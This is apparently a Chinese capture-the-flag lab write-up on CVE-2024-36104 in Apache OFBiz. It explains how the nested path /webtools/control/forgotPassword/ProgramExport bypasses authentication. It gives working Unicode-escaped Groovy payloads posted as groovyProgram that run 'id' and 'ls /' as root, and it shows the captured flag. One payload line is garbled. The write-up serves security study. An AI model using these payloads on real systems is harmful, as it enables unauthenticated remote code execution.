春秋云镜-CVE:RCE

本文最后更新于 2025年7月12日 凌晨

Apache OFBiz 版本 18.12.14 之前版本中存在路径遍历漏洞,导致攻击者能够绕过后台功能点的过滤器验证,并通过 /webtools/control/ProgramExport 接口执行任意 groovy 代码实现远程代码执行(RCE)

CVE-2024-36104

1
Apache OFBiz 版本 18.12.14 之前版本中存在路径遍历漏洞,源于org.apache.ofbiz.webapp.control.ControlFilter类对路径(请求 URL 中的特殊字符(如 ;、%2e)限制不当导致攻击者能够绕过后台功能点的过滤器验证,并通过 /webtools/control/ProgramExport 接口执行任意 Groovy 代码实现远程代码执行(RCE)

原理分析

OFBiz 的请求路由逻辑

Apache OFBiz 使用 ControlServletControlFilter 处理请求路径,其路由规则如下:

默认情况下,请求路径会被解析为:/webtools/control/<endpoint>,其中 <endpoint> 对应 controller.xml 中定义的 <request-map>

image-20250712025407500

由于 OFBiz 的路径解析逻辑没有严格校验路径层级,所以导致以下两种请求是一样的:

1
2
合法路径:/webtools/control/ProgramExport
嵌套路径:/webtools/control/forgotPassword/ProgramExport

image-20250712020826338

doGet 方法中可以看到只取了路径的第一层,后面的路径会直接被忽略

触发的根本原因

查看源码可以发现:

/framework/common/webcommon/WEB-INF/ 路径下的 common-controller.xml 文件中的 forgotPassword 是不需要认证的

1
2
3
4
5
6
7
<request-map uri="forgotPassword">
<security https="true" auth="false"/>
<event type="java" path="org.apache.ofbiz.securityext.login.LoginEvents" invoke="forgotPassword"/>
<response name="success" type="view" value="forgotPassword"/>
<response name="error" type="view" value="forgotPassword"/>
<response name="auth" type="request-redirect" value="main" />
</request-map>

framework/webtools/webapp/webtools/WEB-INF/controller.xml 文件中的 ProgramExport 经过了认证

1
2
3
4
5
<request-map uri="ProgramExport">
<security https="true" auth="true"/>
<response name="success" type="view" value="ProgramExport"/>
<response name="error" type="view" value="ProgramExport"/>
</request-map>

所以由于路由逻辑缺陷,当用户访问 /forgotPassword/ProgramExport 时:

首先 forgotPassword 可以直接访问,后续路径 ProgramExport 被错误地当作子接口处理,绕过了对 ProgramExport 本身的权限校验。

复现

URL 后加上 /accounting/control/main 可以正常访问,不然就是 404

image-20250711225305280

可以看到一个 ERROR MESSAGE,出现报错,因为是非本地 localhost 启动,Headers 需要包含 Host: localhost,所以把 Host 改为:localhist:port

image-20250711235443781

请求 /webtools/control/forgotPassword/ProgramExport 接口

1
throw new Exception('id'.execute().t/webtools/control/forgotPassword/ProgramExportext);
image-20250711235638671

POST 传参

1
groovyProgram=\u0074\u0068\u0072\u006F\u0077\u0020\u006E\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006F\u006E\u0028\u0027\u0069\u0064\u0027\u002E\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002E\u0074\u0065\u0078\u0074\u0029\u003B

得到 id 为 root,说明执行成功

image-20250712004022679

列出根目录下所有文件查看

1
throw new Exception('ls /'.execute().text);

同样的 Unicode 编码

1
groovyProgram=\u0074\u0068\u0072\u006F\u0077\u0020\u006E\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006F\u006E\u0028\u0027\u006C\u0073\u0020\u002F\u0027\u002E\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002E\u0074\u0065\u0078\u0074\u0029\u003B
image-20250712010500138

列出了所有文件,拿到 flag

1
flag{5391edef-3ee9-4a1a-b452-db929d329eac}

参考:

Apache OFBiz 目录遍历致代码执行漏洞 CVE-2024-36104


春秋云镜-CVE:RCE
http://example.com/2025/07/12/春秋云镜-CVE-RCE/
作者
butt3rf1y
发布于
2025年7月12日
许可协议